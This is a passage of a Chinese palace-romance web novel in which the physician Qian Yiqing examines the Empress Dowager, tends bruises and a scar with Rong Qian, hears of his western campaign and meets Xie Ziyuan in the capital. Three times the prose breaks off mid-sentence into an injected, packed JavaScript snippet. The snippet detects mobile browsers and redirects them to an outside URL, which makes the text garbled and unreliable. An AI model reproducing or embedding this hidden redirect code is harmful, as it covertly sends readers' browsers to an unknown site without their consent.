大约过了半个多时辰,太阳开始有落山的势头,千裔清坐的都有些犯困了,皇上身边的小太监传话进来,说是请千裔清去懿祥宫一趟为太后切脉。 千裔清讶然:“太后知道我?” 传话的公公摇头:“奴才只是替皇上传话,别的一概不知,不过崇安王也在,姑娘去就是了。” 容潜也在? 不知为何,听到这个名字她意外的安心。 往常听到就觉得头疼的两个字居然有一天也会成为她的定心丸。 万楹公主歪着头问:“皇兄没说让我也过去吗?” 太监又摇头:“提了,不过皇上说让公主好好歇着,太后近几日对周御史家的公子甚是满意,想来公主是不愿意听见这些事的。” 可恶!又拿婚事来打压她是吧! 万楹公主哼了一声,给自己找了个台阶:“反正聊了那么久也有些乏了,替我谢谢皇兄的体谅。” “公主放心。”小太监点头明白,又自觉地让开一条道做了请的手势,“千姑娘随我走吧。” 千裔清嗯了一声提上药匣,跟万楹公主表示下次进宫再来看她,并且一定会带着礼物过来。万楹公主虽然也觉得失落,但容烨话里话外都在告诉她不许过去,这种事也不是第一次了,争辩也争辩不出什么。 - 懿祥宫。 刚踏进院子里,千裔清就被太后宫殿中侍奉的宫女太监人数所震惊,但是外头修剪花草的就绝非少数,进进出出奉茶的,她这么一会儿功夫就已经瞧见好几个了。 她方才是不是还用太后喜静这话搪塞公主来着? “千姑娘这边请。” 千裔清紧了紧手中的药箱跟上,正殿外候着两层宫女,从其中穿过时,千裔清都有种十分不自在的感觉。 好在正殿只有这么大一些,再往里走便没什么人围着,落入眼帘的只有卧床的太后和坐在近前的皇上跟佑王,以及,坐的稍远一些的崇安王。 哦,还有越曦。 顶着那样一张脸低头站在一旁,真的很难让人一眼注意到。 容潜离千裔清更近,在她一脚踏进寝殿的第一时间就抬起头,不过脸上的表情看起来并不好看,像是隐忍了许久的那种不耐烦。 也是,这一屋子几乎都是他不爱搭理的人,脸色哪能好看的了。 千裔清犹豫了一下,还是上前两步把药箱轻轻搁在地上,跪下行了个礼:“见过太后。” 床上倚着的夫人看起来年岁不过五十,看起来慈眉善目,瞳孔瞧着旁人时都是神采奕奕的,远不像生什么病。 “这就是齐光说的那位神医吧?当真是美的不可方物,难怪潜儿一直惦念不忘!” 千裔清听得这话不由得拧紧眉头,狐疑地抬首看着床上的太后。 这位不曾踏出宫外一步的太后娘娘还真是耳聪目明,知道的比万楹公主还多。 容潜大步走向千裔清,弯下腰扶着她的手臂:“还不起来?跪着膝盖不疼?” 千裔清和他挣了片刻,余光扫了一眼太后的方向,压低声音道:“太后没说让我起身。” 太后这才一副忘了这茬的样子:“哎呀哎呀,瞧哀家这脑子真是越来越糊涂了,还是潜儿知道心疼人......神医,快些起身吧!” “......谢太后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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容潜嗤笑一声:“我说七皇兄,我有没有恶意在场的人都听得出来,但你有没有恶意——这可不好说了......” “你——” “好了!”容烨沉着脸低喝一声,“你们两个在母后面前吵吵嚷嚷像什么样子!就算没病也要被你们气出病来了!” 他调整了呼吸,尽量用平和的语气道:“千千,太后身体可有恙?” 虽是语气上听不出什么分别,可容烨也不是傻子,又怎么会不清楚自己母亲的意图。 这母子俩闹别扭,为什么为难的是她啊? 头疼。 千裔清思量了片刻,决定还是照实说:“无大碍,太后的病症乃是心病,正所谓心病还需心药医,心中有郁结之气,身上自然好不了。” 容烨的脸色果然缓缓下沉,太后确实乐得明显:“到底是神医,一下就看出了问题的根结所在!要我说宫里那些御医都是庸医,惯会拿些没用的话搪塞哀家——齐光,你可听明白了?” 最后这话对容烨来说算的上是明示了。 容烨抿了抿唇:“明白。” 千裔清望向角落始终站着不动,低头将所有的话尽数收进心底的越曦。 她很难想象这个弓着身子畏畏缩缩的小太监,长着一张平凡至极的脸,从前却是那样一个明媚动人的女子。 那双深邃的眼睛在她脸上已经找不出任何辨认痕迹,那个在纨绔中也能游刃有余的红衣姑娘......真的是眼前这个人? 一眼惊艳,而后没落人海。 恐怕任谁都难以接受。 纵是越曦自己就能接受了吗? 千裔清不知道,但如果换作自己,她想她是接受不了的。 太后得到了自己想听的答案,顿时声调都高了一些:“千千,你医术这么高,不如留在宫里当差,哀家看你实在是喜欢的紧,不如你——” “母后!”容潜打断她,一边把千裔清虚掩在身后,“方才母后不是说累了想歇息了,这件事还是以后再说吧。” 太后怔了怔,又换上那副端庄和善的笑:“你的事齐光方才也同哀家说了,若你愿意,哀家替你做主成全你俩的好事,你可愿意?” 容潜顿了顿:“谢过母后的好意,不过......不必了。” 太后眨眨眼,一副明了的模样:“哀家知道你在打什么主意,你是想给那孩子一个惊喜......也好、也好。” 打什么哑迷? 这两个人前一刻还是剑拔弩张的样子,这会子又演上母子情深了。 他们之间有什么故事千裔清不清楚,但经此一遭,千裔清心中认定了一件事——容烨那副伪善的样子一定是遗传自他的生母。 果然,不论是后宫之主还是天下之主,都不是一般人能坐上的位置。 容潜沉一口气,悄悄捏上她处在袖口中的手,侧目问:“时候不早了,你......可还有事要办?” 千裔清收回放在越曦身上的目光,暗叹一声摇头:“没有了,我们回去吧。” 53. 磕的 回崇安王府的车厢并不比来时沉闷的氛围要好,说是更差也可以。 千裔清照例又坐得离容潜很远,以防自己被他的寒气冻着。 偌大的车厢显得尤为空旷,千裔清只能听见他强忍着不耐的沉重呼吸。 一声,又一声。 直到容潜忍无可忍,抽了口气蹙眉瞪向她。 容潜命令道:“过来。” 千裔清提着裙摆过去,这次的马车没有发生颠簸,她顺利落座。 容潜闷声又道:“哄哄我。” 千裔清蜷起手指:“那......殿下在生谁的气?” 是佑王、太后、亦或是她?总不能让她下错了药引得反作用。 容潜扫了她一眼:“你说呢?” 千裔清想了想:“若是佑王,殿下就大可不必生他的气了,佑王个性向来如此,落井下石更是常态,和他计较反倒失了殿下的身份。” 容潜哼了一声,带着几分别扭的声线说道:“你对他倒是了解的很,连他秉性如何都这么清楚。” 千裔清继续道:“......殿下若是气太后说话不中听,她到底是长辈,又是皇上和万楹公主的生母,你若不喜欢,以后少来往就是了,实在无需为她伤了几人和气。” 容潜只觉得越听越不对劲,让她哄人,她怎么张口闭口全是大道理,一直给他灌输一些退一步海阔天空的思想。 她原先就是这么哄人的么? 容潜回忆了一下,嗯......他原先好像也不爱生气。 不过他还是要表达自己的不满:“有你这么哄人的吗?” 千裔清无奈:“那要如何哄?” 想了想,她道:“要不我下次借着给太后请平安脉的机会给她悄悄下个毒?一劳永逸......” 容潜听着却挑了挑眉:“你认真的?” 他是真不信这个一进门就给太后跪了的女人能做出这种事。说让她哄,她还真是“哄”的太明显。 容潜一时失笑,心情却慢慢好了起来。但他还是有意要打趣她一下:“你方才劝我不要把他们放在心上,我记下了,可是你弄错了对象,清清,我是在气你。” “气我?气我什么?”她细细回想,自己好像并没得罪他。 容潜扯过她的手腕,掰着她的葱白细指开始一条条罪状细数:“第一,佑王去了玉和宫为什么不告诉我?” 千裔清怔然:“你怎么知道?” “我自然是不会提起你在万楹宫里的事,你以为是谁透露的?”容潜理所当然道,随即又掰下她第二根手指,“为什么又唤我殿下?” 千裔清疑惑地掀起眼皮掠过他:“你不是在生气吗?自然是尊敬些要好。” 容潜“嗯”了声,按下她第三根手指:“就算你有理。还有,在懿祥宫的时候,你明知太后是在利用你,既然害怕,为什么不让我帮你?不要告诉我在殿中你没听懂我话里的意思。” 千裔清想了想,却是没当即回答。 她蹙着眉头想了好一会儿,抬头看着近在眼前的男人:“你想听实话?” “自然。”反正她若说谎,他也听得出来。 千裔清缓缓开口:“刚听说皇上传召我去见太后时,我承认我很排斥,也很怕,但陈公公说你也在,我便想着就算是天塌下来也不怕了,因为你在那,你一定会护着我的。”说完,她盯着容潜肯定道,“这是实话。” 这些话是她认真思考了良久才得出的结论,她在去懿祥宫的路上一直在斟酌自己心头一闪而过的慌张和异样究竟是怎么回事,一路上她都没有想明白,知道她忐忑不安地进了寝宫,越过一层层的宫女太监,那些陌生面孔,而后看到了容潜。 就在她面前,活生生的。 她终于明白那种感觉的确叫做“安心”,任她再怀疑,是确凿无比的“安心”二字。 千裔清说的很认真,自然也没注意到对方一闪而逝的吞咽喉结的动作。 容潜嗓音微哑:“还有呢?” 他怎么知道自己没说完? 千裔清笑了笑,第一次觉得自己说出这些由衷的话很是轻快:“刚才你问我为什么不让我帮你,其实我原本打算若真有什么事就两手一摊躲在你身后,一问三不知的。” 容潜轻笑出声,这种省力的法子的确是她会做的。 可她又说:“只是我想了一下,我是个废人,不想连心也废了,殿下在太后面前都为我兜底了,我又有什么不敢说的?” 废人,想到他在寝殿说她是个连自己旧疾都治不好的小丫头,莫非是被她记住了。 容潜看着她愣了片刻,握着她的手指包裹的更紧:“不许妄自菲薄。” 千裔清是在今天真真实实见到佑王站在面前时才发现,这么久以来她的确错了,她错的是用其他人犯的错困住了自己,也因此导致日复一日的循环在噩梦中。 她不该怕,或者说怕的人不该是她。 千裔清弯起眼睛笑道:“这话你从前好像也说过。” 容潜点点头:“你还记得。” 千裔清没反驳。有些话她也是很认真的听进去的,容潜昔日每次对她的规劝,每次让她自重,每次要她不许妄自菲薄。 这些话她都是能听进去,并且一直记在心里的。 那是他的好。 他很好,尽管现在人人提起崇安王都免不了要在背后骂两句,千裔清仍然能指出他的许多好来。 因为这些好都是特别对于她的。 所以,时至今日她终于明白容潜是值得信任的,她也愿意信任这个人。 但,只是信任。 - 崇安王府内和进宫前没什么两样。 王府小院灯火通明,曲径通幽,一切都在井然有序地进行着。 府上的小厮见崇安王回来了,几步跟上俯在他耳边低语了几句,千裔清很知趣地避开没去打听,只是余光看见容潜随意点点头,什么也没说。 到了夜晚,上下都变得安静,绛雪把外殿的几盏灯都灭了,只剩下卧房床前的两盏还亮着。 千裔清在床上躺了好一会儿,不断在脑海里缕着越曦的事。 喻景淮带着云染上山瞧病时也提过那么一嘴,按照逻辑,容烨应该是在云家灭门时救下了同样受牵连的越曦。只是容烨称帝不久,那时候的十方国又还未曾被收入囊中,迫于朝臣议论以及攻下十方的计划,他只能让越曦藏匿宫中而又不能透露她的身份。加之后来喻景淮进宫,容潜随后得胜而归的事,一切都串联起来。 只不过让没想到的是,那个生了一副好看的桃花眼,总是含笑从不厉色的容烨,心思远比她想象的深沉。 千裔清翻身叹了一口气,眼皮微沉。这困意说来就来。 刚闭上没多久,昏暗的灯光似乎变得更暗了,准确的说,是她眼前的光亮被遮了大半。 “上药。” 千裔清缓缓睁眼,遮挡她眼前光线的罪魁祸首正是容潜。 他手中拿着羊脂玉做的圆罐,只有半个掌心那么大,借着微光,看得出里头也是乳白色的药膏,白芷的味道尤其突出。 千裔清滞了片刻,觉得还是不用了:“也没破皮,再说已经过了半日,早就没什么感觉了。” 容潜没听她的拒绝,直接掀开被子,按着肩头把人翻了个:“这是治淤伤的,宫廷御用,不比你的差。” 千裔清没有嫌弃药不好的意思,只是真觉得不至于那么矫情。 “很快的。”容潜表情未动容分毫,揭开她身上的寝衣。 从腰际向上卷起半分,那块原本被压红的痕迹变得有些青紫,若是不涂药,明日恐怕会晕开大片。 千裔清扒着枕头,把下巴搁在上面等他的动作,等得百无聊赖,身后那人却迟迟没动。 她扭着脖子回头:“我困了。” 容潜这才“嗯”了一声,几声轻响,听起来是他在捣弄药膏罐子。 带着凉意的药膏在指尖化开变得稍稍温热,他的手指覆在那处青紫,一圈又一圈,很轻,也很温柔。 千裔清觉得自己眼皮又开始沉了,硬是睁着怪累的,于是眨了两下干脆闭上。 背上那只手突然收起,容潜叹了口气:“你太瘦了。” “晚饭不是吃了很多吗?”比她前几日的饭量已经有显著提高了,这些还要多亏容潜。 他觉得还不够,在千裔清腰上掐了一下,又道:“手感不太好,要到能掐出几两肉来才行。” 千裔清撇撇嘴:“那你是有点强人所难了,好了吗?” “嗯。”容潜拉下她腰间掀起的衣角,“好在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007596|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该有的地方还有点。” 千裔清没听清他后半句嘟囔了什么,翻身仰面躺好,正打算吩咐他给自己盖好被子,容潜又拉着她的手喊她起来。 “又做什么?”千裔清不想动,闭着眼睛和他拉扯,只觉得好困好困。 “腿上的还没处理。” 她猛然睁开眼,突然意识到自己这该死的条件反射还真是日复一日没变。 容潜自然把这变化瞧在眼里,他看到千裔清带着一丝尴尬:“不用,腿上的早就没什么感觉了。” 心下一沉,他道:“药都拿来了,也不差这一下吧?” 千裔清只好起身坐着,样子看起来又无措又乖巧。 雪缎做的裤管之下是更加瘦弱的纤长小腿,好在她身上不是什么沾染器官的大病,不至于瘦到皮包骨。 容潜想着,还是能养胖些的。 直到柔软的衣料被高高卷起,越过膝骨,那块紫青之上还有一截又短又粗的疤痕。 很厚,也很粗糙。 模样像他上个月在铁器铺里见到的尘镖。 可他又想,那枚尘镖如果真的扎进自己身体,扎进正触摸在那块疤痕之上的虎口处,应该也没有现在这样,仅仅轻微相触就那样的疼。 疼到他的指尖、掌心,连着手臂、血管,还有他把所有都看得真切的眼睛。 他听到自己阴沉的声音像含了层砂砾:“怎么弄的?” 千裔清别开眼:“哦......磕的。” “磕的?”容潜嗤笑一声,语调都变得厉色,“怎么磕的?在哪磕的?什么时候磕的?” 又来了,又是这种语气。 千裔清陡然拨开他的手,嘲讽地笑他:“这么大惊小怪做什么,殿下杀过那么多人连道疤都没见过?” 她把裤腿放下,看着他一字一句道:“两年前、秀羽山、佑王。”说完,她浅浅一笑,“说完了,我是不是可以睡了?” 容潜按着她正欲拉着锦被盖上的手:“为什么不早告诉我?” “告诉你又能如何?难道殿下还想为我报仇,手刃你的亲兄弟?”千裔清轻扯嘴角,摇了摇头,伸手在他侧脸描摹着完美的弧线。 她很久没有,也很少这样认真的触碰他的脸。 微微眯眼,指腹触及到的肌肤带着一丝经过风霜的触感,不再是那个把自己困在父母阴影之下的卑微少年,多了几分成熟男子的气息,就连他脸上线条的棱角都比从前更加能蛊惑人心了。 原来现在的他是这样的。 千裔清道:“殿下不论是母子情缘还是父子情缘都太浅薄,如今兄友弟恭实属难得,不必因为这些小事动怒。我明白你,也感激你,如此就够了。” 容潜蓦的按住她正要收回的手,把脸微侧着贴进千裔清掌心:“你若当真觉得够了就不会在听到他声音时那般紧张,你若真觉得够了就不会总是避而不谈自己的过去,你说过你恨,我听到了,也记住了。” “千裔清,你告诉我,你恨他的时候有没有恨过我?有没有怨过我?你是不是怪我没保护好你所以才一直不肯让我找到你?” 她很诧异。 为什么容潜会有这样的想法,为什么他好像把所有的因果都怪罪在了自己身上。原来这两年他一直是这么想的吗?他是在怪自己......没用? 心中突然涌出一丝苦涩的愧疚,她挣了几下没能抽回被紧紧按着的手,沉沉叹一口气:“我没有怪过你,我只是怕。” 千裔清想了想,又补上一句:“不过现在不怕了。” 他的喉结迅速滚动了一下,问道:“当真?” 千裔清诚恳的点点头:“当真。所以我可以睡了吗?” 容潜垂下眼眸滞了片刻,千裔清感觉到制着她手的动作缓缓放松,直到她可以轻易地把手抽出来,缩回身前。 “......睡了。”千裔清做了最后陈词,接着便不管他了。 窸窸窣窣躺下的声音很久之后才响起,千裔清已经游离在半梦半醒之间。 他叫她:“千裔清。” 她含含糊糊应了声:“嗯?” 容潜:“我没有亲兄弟。” 千裔清:“嗯......嗯?” 容潜的声音在她身边低沉而坚定:“砍了他的腿给你解气,可好?” 54. 承诺 这是什么新式提神好不让她睡着的方法吗? 如果是,千裔清很配合的脑子清明了一瞬,接着在锦被中伸脚踢了他一下:“你是在开玩笑吧。” 容潜顺着她的话问:“那你会笑吗?” 千裔清越来越觉得自己听不懂他在说什么。人在瞌睡的时候本就没什么思考的能力,她能坚持着回应已经不错了。 应该是在开玩笑吧? 她懒得再想其中深意,敷衍的应了一声“嗯。” 等了好一会儿,容潜的声音像是从空气中缓缓飘来的,没什么重量,也不太清晰:“......嗯。” - 千裔清没想到容烨真能答应容潜的提议,他对这个皇弟似乎有点太纵容了,总是说什么都听似的。 这些她无暇细细斟酌,从皇宫回来之后的这两日,容潜对她的体贴更上一层台阶,说是衣来伸手饭来张口的程度也毫不为过,绛雪和绛珠每每瞧见都要偷偷问一句二人是不是好事将近了。 反观皎月公主却是出奇的安静。算一算,千裔清几乎没怎么见过她,只有昨天下午接过皇上送来的蝉衣和雪莲时见到她身边的侍女一眼。大概也是觉得这件事已成定局,干脆乖乖等着回绥夏了。 只是等皎月公主回了绥夏,两国的关系又不知道会如何处理。 千裔清不敢想。 容潜给她盛了碗汤:“你这么一会已经叹了三次气了,是菜不合口味?” 实在是他总一脸的若无其事,一点担心后果的样子都没有,千裔清好奇道:“皇上真答应为皎月公主送行了?这样一来岂不是全朝堂都知道她被退回绥夏的事了,这不是打皎月公主的脸吗?” 汤匙和碗壁碰撞的声音清脆好听,容潜小心的给她吹凉,听到这话又忍不住笑了:“我本来就没打算娶她,也本就打算好了打她的脸,至于皇兄么......他有我的保证,自然不会反对。” “保证?”千裔清眨眨眼,“你保证了什么?” “你把汤喝了我就告诉你。” 容潜顺势把碗送到她手边,看着千裔清犹豫着接过了,这才勾起唇角,支起一条手臂看她一口一口的喝。 喝完了,千裔清捧着小碗对他亮一下碗底:“喝完了,该你说了,你答应了什么?” 容潜却有意卖起关子:“嗯......秘密。” 千裔清:“......”这人莫不是在故意耍她? 千裔清眼看着有些不高兴了,就连搁下碗的动作都重了几分,在桌上啪的一声,勺子在空碗里转了个圈儿。 容潜哄道:“发这么大脾气做什么,你这么聪明,难道猜不出皇兄想要什么?” 想要什么...... 她愕然抬头:“你答应他要西征绥夏?” “嗯。”他随意点点头,这才夹了第一口菜放进嘴里。 虽然夜南早有此意,但时隔这么多年都没成功的事,容烨竟能放心派容潜出兵?他到底才十九岁,就不怕他步武安王的后尘吗? 千裔清沉默了。 容潜扫她一眼就知道她在想什么,安慰道:“你不用自责,即便没有你在我也会这么做。” 他转而又开玩笑:“虽说我不要你的歉疚,但你若能为此感激我一些,我可能会更有动力,毕竟谁也不想死在那种脏地方,你说是不是?” 纵使知道他是有意缓解气氛才说这种话,但说什么死不死的......未免也太不好听了。 想了半天,千裔清觉得舌头都要打结了却也没想到说些什么好:“......你有把握?” 容潜放下筷子,捏着她手指骨节反复比划着:“原本只有八分把握,你在,便有十二分了。你的手怎么这么小,似乎比寻常孩童也没大出许多......手指倒还挺长。” “怎么还多出两分来?”千裔清横了他一眼,勾着小指用指甲掐了他手心一下,浅浅的月牙在他掌侧转瞬即逝。 注意到她的动作,容潜勾了勾唇角,挑眉看着她:“八分是我对两军兵马能力的推测,天时地利再加两分,十二分——” 他突然缄口,歪着头似笑非笑地打量千裔清。 千裔清被他的话挑起兴趣,追问:“十二分是什么?” 容潜拉着千裔清在她手心画圈,手心被他圈的酥酥痒痒的,他问:“你告诉我,你是希望我回来,还是希望我留在那?” “当然是希望你回来。”千裔清不假思索的脱口而出。 这还用问吗?除了敌国,谁会希望他死在战场上。 唇边的笑意又深几分,容潜拉着她握成拳头的手铺开,放在侧脸,眼神牢牢锁在她明亮的双眸。从那里,他可以清晰的看到千裔清的眼里有他。 他想,心里也有。 “我一定会回来。”他的声音柔和认真,“十二分是我对你的承诺,也是我必须活着回来的理由。” 千裔清默了默,对他这番话不知该做出什么回应。她别开眼,把手一点一点抽出,嘴里不自然地说着:“方才还说不想让我自责,这话明明是把责任全归在我一个人身上了!” 容潜低笑:“好吧,那我换一种说法,一切跟你无关,都是我太想回来见你了。这样你觉得可以吗?” “勉强可以。”千裔清哼了一声,没注意到自己微微发热的耳廓。 他好像越来越会哄人了。 - 多亏容潜转了性子,千裔清难得能跟他和谐的相处在同一屋檐下。 宫宴时间定在明晚,届时皎月公主会提前入宫,待宴会结束,隔日再以夜南最高礼仪一路护送回到绥夏。看起来给足了绥夏皇朝面子,但其中嘲讽之意不言而喻。 如今走到皎月公主的小院外已然再也听不到她们主仆训斥下人的声音了,千裔清很难想象那样一个骄纵跋扈的公主竟真的忍了,还忍了这么久。 脑海中突然浮现那日在肴乐宫里佑王送了她一颗荷珠的事。 千裔清心中一动,看向一旁的陆离:“你还记不记得皎月公主来府上都带了些什么东西?” 陆离微仰着头,盘算着总结:“衣裳、首饰、碗碟、清酒——” “停!”千裔清嘴角一抽,觉得自己好像问错了问题,精确道,“书房那天她的脖子里带了一串璎珞,你还记不记得是什么样儿的?” 皎月公主每天都要换不同的衣裳和首饰,头上、手上、身上总要带上好几件,好像这样才能彰显她的身份。寻常人看一眼就觉得眼花缭乱,哪里还能记得她身上穿了什么带了什么。 幸好陆离是见过世面的,跟在容潜身边自然也免不得多留些心眼儿,他在脑海中搜索片刻就知道千裔清说的是什么样的璎珞:“你是说那串鲍鱼珠尾,荷珠做芯的?” 千裔清忍不住扬眉:“你还懂这些?” 陆离谦虚道:“殿下早年喜欢游历,我也就是跟着保护殿下顺便长长见识罢了!” 客套的话到此为止,千裔清转回正题:“就是那个,你对荷珠有没有了解?我记得绥夏盛产荷珠,外表通透无比,其心宛若流光......应该是上品?” “应该说是极品。”陆离纠正她,“其他地方的荷珠即便有如此品相的,也断不会天然成型到这么大一颗,这种极品只会出现在皇室。不过她身为公主,这很正常啊。” 转眼间两人已经走出府外。 千裔清进宫那天的路上见着街上十分热闹,想着自己在坤京待了许久还没出去逛逛,不知道如今的坤京有何变化。陪她一同出门的本来应该是容潜,走到一半,还没踏出王府大门,看门的家仆说璟王来了,有要事和殿下商议。 这就耽搁了。 不想扫她的兴,旁人跟着容潜自然是不放心的,也只有陆离。 是陆离也好,换了旁人千裔清也是没话聊的。 “荷珠,你见过几颗那种品相的?”千裔清心中隐隐有猜测,刚好陆离也能为她解惑。 陆离答道:“先帝在位时,绥夏皇帝好像送过这么一颗,不过已经跟着先帝一同入土了。” 千裔清顿了顿,缓缓开口:“我在万楹公主那里也见过这么一颗,是佑王送的,当时我只觉得很眼熟。” 想来佑王以为她不识货,亦或是没想过她会在皎月公主那里留心到,不然送给肴乐时应该也会避讳一些的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020024|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他那日的神色似乎又没什么不寻常的。 陆离立刻会意:“你觉得她和佑王有交集?” 随即他又摇头:“你和殿下入宫那日皎月公主并未离开自己的房间,佑王府的人也未曾来拜访过。” 千裔清追问:“她的两个侍女也没离开过崇安王府吗?” 陆离点头:“冬云每天都会去街上的陈家铺子买些梨条和糖荔枝什么的,但她不过是个奴才,应该不会认识佑王府上的人。而且皎月公主一向看不惯佑王的做派,她找佑王能有什么事?” 也是,皎月公主甚至把佑王送来的雪莲给毁了,她应该不会想见到佑王,更不会送他自己的荷珠。一个即将离开夜南的绥夏人,见佑王做什么? 千裔清笑了笑:“可能是我多心了吧。” 陆离对此表示理解,千裔清对佑王的怀疑几乎是出于本能,譬如上次送来的雪莲也是检查的十分细致,知道皎月公主亲手打碎了玉匣,千裔清非但没觉得可惜,甚至有点隐藏不住自己眉梢的轻快之感。 陆离想了想:“以防万一,回府后我会再去打探一下她的荷珠是否还在。” “她是个姑娘家,你一个大男人......不大方便吧?”还不如千裔清自己去看。 陆离道:“职责所在,没什么不方便的。” 千裔清拍着他肩头:“真不愧是殿下亲卫,那烦请大人先跟我移步去趟药铺吧。带钱了吗?” 陆离把手摸到腰间,确认自己的银袋安稳挂在身上,点头说道:“带了。姑娘想要什么直接告诉属下就成了,何必亲自出来采买?” 千裔清斜了他一眼:“笨。” - 坤京相较于从前并没有太大差别,闹市上依旧热闹,不过从前她在相府出来采买时的那些熟面孔倒是少了许多。 流月坊的大门仍然大开着,生意一如往常那样好,楼台上站的姑娘有几个看起来都是新来的,年轻貌美,买琴的琴肆已经改成书肆,好像正是绛珠替她买话本的那家。 直到映入眼帘的那方巨大金匾,上头的题字还是出自龙椅上那个人的手笔,千裔清依稀记得两年前在这遇到祝纶,还有那一袭红衣的十方女子,那会儿店里的生意热闹非凡,而今大门紧闭,却是落了锁了。 陆离解释:“越昭已经和他母亲一起离开坤京,这间酒楼还没盘出去,听说是盘给了一个姓严的老板,也不知道什么时候开业。” 千裔清随意嗯了声,又道:“不论再盘给谁都不会有那般红火的生意了吧。” 陆离赞同道:“这倒是,除非云染姑娘肯把秘方透露给其他人,不然断不会再有那么多客人了。” 千裔清想起那个总跟在喻景淮身边的小姑娘:“听闻云染跟越家小公子关系匪浅,昔日越曦失踪之际生意一落千丈,还是靠着云染妙手回春......” 她心思一动,想起跟在喻景淮身边的另一个人:“容潜的事你知道多少?” 陆离一怔:“姑娘想问什么?” 千裔清对陆离的忠心程度丝毫不会怀疑,她完全确信自己不论说了什么都会被原封不动转达给容潜。 想起那晚容潜夜里出门,天蒙蒙亮才回来,又带了一身的血腥味。虽然他自己解释是在路上遇到了贼人,但第二天在书房中闻到的更为浓郁的月麟香,以及连熏香都掩盖不住的那丝血腥,似乎都不太寻常。 容潜不肯说,陆离即便知道也不会说的吧? “千千姑娘?”陆离伸手在她眼前晃了晃。 千裔清回过神:“嗯......也没什么,听他说前几日在路上遇到了贼寇,想问问你知不知道这事。” “贼寇?”陆离疑惑地问,“什么时候的事?” 千裔清“哦”了一声,又说:“约莫三天左右吧,不过那夜他出门的突然,你没跟着去吗?” 陆离想了想,摇摇头,又很理解地点点头:“如今殿下常年练兵并不总让我跟着,所以我对殿下自然也不会事无巨细......” 看他的样子是真的不清楚。千裔清越来越好奇容潜去见谢子源做什么,到底是什么事现在不能说,以后却一定会让她知道的? 55. 消息 刚逛了几条街,天色很快暗淡下来,只是该去的药铺还没去。 陆离又在催促说再不回去殿下要担心了。 千裔清回头扫了他一眼:“你在他有什么不放心的,他还信不过你吗?” 陆离挠挠头,又说:“也不是这个意思......只是天快黑了,城中近日又不太平......对了,明日还要进宫赴宴,你真该回去准备了!” 千裔清觉得没趣,她原本还打算逛逛夜市,现下天色才刚有些发灰,身边这人就在这一直喋喋不休势要把她劝回去为止的样子。 千裔清被陆离吵的烦了,摆摆手:“好好好,马上就回去!”她在四周打量一圈,“这边我不太熟,哪家药铺离的最近?” 陆离指着前头:“往这边走有几家,姑娘要的都是寻常药材,想必都能买到。” 千裔清便顺着陆离指的方向去,拐过两条小巷,眼前的街道不长,一眼就能望到头。如陆离所说,一进街道,拐角就是一家。 这条街的铺面大都是老字号,门头牌匾都看得出很是陈旧。就拿不远处那面晒的看不出原本颜色的幌子来说,此时摇摇欲坠正迎着微风摇曳。 陆离注意到她的目光,伸着脖子看了一眼:“哦,褚记当铺。” 千裔清回过头:“很有名吗?” 陆离摸着下巴道:“也不是很有名,这里原是赤羽阁的联络之所,赤羽阁主为投奔朝廷绑了云染姑娘,后来被殿下一枪挑死了。” 这个一枪挑死说的过于轻描淡写,以至于千裔清差点忘了在她看不到的时间里,容潜还是个颇善杀伐的人。 千裔清怔然:“是他把云染绑进宫里的?” 这么说,喻景淮是因为赤羽阁主是容烨的人才闯进宫中挟持他,一切其实只是为了救云染而已。怪不得,喻景淮分明说过自己跟容烨有些交情,还知道容烨小字为何,总是称呼的颇为熟稔,原来并不是诓人。 “是啊。”陆离耸了耸肩,目光朝着当铺眺去,“赤羽阁现在已经不复存在了,这间当铺或许也开不久了。” 像是印证他的话一般,话音刚落,里头出来一个黑白间发的老者,身形颀长的年轻人跟在他身后,一席微微泛白的蓝衣,腰间的长剑散发着古朴的气息,定是沾过无数人鲜血的利刃。 老者佝偻着身子把门上锁,看起来很是疲态,他年纪本不至于如此,却有一种饱经沧桑的感觉。 年轻男人漠然看着他做完这一切,微微躬身抱拳行了个礼。 一阵微风适时吹过,拂开他遮挡的几丝墨发,露出半张英朗的侧脸,千裔清一愣,脱口而出。 千裔清、陆离:“谢子源?” “你也认识他?” 话音一出,两个人互相对视了一眼,都显得有点诧异。 陆离把手攥成拳放在唇边轻咳一声:“哦,我忘了他是喻门主的弟子,你应该认识的。” 千裔清也略有一丝尴尬,陆离是容潜的人,又常年替他打探消息,知道谢子源也并不奇怪。 这时间里,谢子源已经送走了那名老者,一偏头就瞧见了两道熟悉的人影,他脚下迟疑片刻,还是扶着腰间佩剑走过去。 是身为侍卫必备的敏锐和条件反射,陆离也立刻扶上腰间长剑侧身挡在千裔清面前。 陆离眉头微锁:“谢门主留步。” 谢子源听得这话停下脚步,在离他们两步远的地方站定:“陆离大人,这么巧。” 他转向千裔清,像是在脑海中搜索了一遍,而后挂着浅笑:“千姑娘,许久不见,气色越来越好了。” 